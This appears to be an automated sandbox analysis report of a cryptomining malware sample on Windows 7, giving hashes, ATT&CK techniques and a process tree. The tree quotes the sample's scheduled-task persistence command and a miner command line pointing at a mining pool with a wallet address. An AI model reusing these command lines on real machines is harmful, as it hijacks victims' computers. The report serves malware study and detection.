cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

Analysis

max time kernel
41s
max time network
128s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
27/10/2022, 08:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

80c4295d0116b0862ac0e56a8331be3c.exe
Size

837KB
MD5

80c4295d0116b0862ac0e56a8331be3c
SHA1

f3186c21cf7f4fd73b455c83949b7bf05bd4cd17
SHA256

cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d
SHA512

cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08
SSDEEP

6144:XIRmE/X7jGO8QdFKNEvLtRr0NSYb4Tb7+6sh3ElQ+fu5mbw9H9TH2v4ZEOg3qRqe:knJTzdbath35584mOAqk3+o8O8oo

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
960	VCXRYF.exe

Loads dropped DLL 1 IoCs

pid	Process
908	cmd.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 960 set thread context of 1436	960	VCXRYF.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1696	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
952	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
960	VCXRYF.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	80c4295d0116b0862ac0e56a8331be3c.exe
Token: SeDebugPrivilege	960	VCXRYF.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 908	1408	80c4295d0116b0862ac0e56a8331be3c.exe	26
PID 1408 wrote to memory of 908	1408	80c4295d0116b0862ac0e56a8331be3c.exe	26
PID 1408 wrote to memory of 908	1408	80c4295d0116b0862ac0e56a8331be3c.exe	26
PID 908 wrote to memory of 952	908	cmd.exe	28
PID 908 wrote to memory of 952	908	cmd.exe	28
PID 908 wrote to memory of 952	908	cmd.exe	28
PID 908 wrote to memory of 960	908	cmd.exe	29
PID 908 wrote to memory of 960	908	cmd.exe	29
PID 908 wrote to memory of 960	908	cmd.exe	29
PID 960 wrote to memory of 1692	960	VCXRYF.exe	30
PID 960 wrote to memory of 1692	960	VCXRYF.exe	30
PID 960 wrote to memory of 1692	960	VCXRYF.exe	30
PID 1692 wrote to memory of 1696	1692	cmd.exe	32
PID 1692 wrote to memory of 1696	1692	cmd.exe	32
PID 1692 wrote to memory of 1696	1692	cmd.exe	32
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 960 wrote to memory of 1436	960	VCXRYF.exe	34
PID 1436 wrote to memory of 1604	1436	vbc.exe	35
PID 1436 wrote to memory of 1604	1436	vbc.exe	35
PID 1436 wrote to memory of 1604	1436	vbc.exe	35

C:\Users\Admin\AppData\Local\Temp\80c4295d0116b0862ac0e56a8331be3c.exe
"C:\Users\Admin\AppData\Local\Temp\80c4295d0116b0862ac0e56a8331be3c.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp6C3B.tmp.bat""
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:952
- - C:\ProgramData\Updater\VCXRYF.exe
    "C:\ProgramData\Updater\VCXRYF.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VCXRYF" /tr "C:\ProgramData\Updater\VCXRYF.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1692
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VCXRYF" /tr "C:\ProgramData\Updater\VCXRYF.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1696
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RGYwrDXJZRJD8C3PzNb2dXbpd4P3nPCyqR.work -p x -t 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        
        PID:1604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Updater\VCXRYF.exe

Filesize
837KB

MD5
80c4295d0116b0862ac0e56a8331be3c

SHA1
f3186c21cf7f4fd73b455c83949b7bf05bd4cd17

SHA256
cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

SHA512
cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08

Download Submit
C:\ProgramData\Updater\VCXRYF.exe

Filesize
837KB

MD5
80c4295d0116b0862ac0e56a8331be3c

SHA1
f3186c21cf7f4fd73b455c83949b7bf05bd4cd17

SHA256
cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

SHA512
cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp6C3B.tmp.bat

Filesize
142B

MD5
bd58e6056b5d0a4bc1eb874450f9c8bf

SHA1
55b9e704363187e15718526349b7175e354f58ec

SHA256
e3742e560320a698bcc3b344e7042d84e9bcc410538ae2e0c51038f216283208

SHA512
b46802d0d05ee9da2b4119575e892895ec52238956b7d0302b578f3de3870897a7d8fa0ab68df0a1ac031af80cc71a0e53e96fd900a6ecd6c4fbfbc7adaf2411

Download Submit
\ProgramData\Updater\VCXRYF.exe

Filesize
837KB

MD5
80c4295d0116b0862ac0e56a8331be3c

SHA1
f3186c21cf7f4fd73b455c83949b7bf05bd4cd17

SHA256
cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

SHA512
cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08

Download Submit
memory/960-62-0x00000000002B0000-0x0000000000386000-memory.dmp

Filesize
856KB

Download
memory/960-63-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Filesize
8KB

Download
memory/1408-54-0x0000000000D80000-0x0000000000E56000-memory.dmp

Filesize
856KB

Download
memory/1436-69-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-76-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-66-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-67-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-87-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-71-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-72-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-74-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-75-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-86-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-77-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-78-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-80-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-81-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/1436-84-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download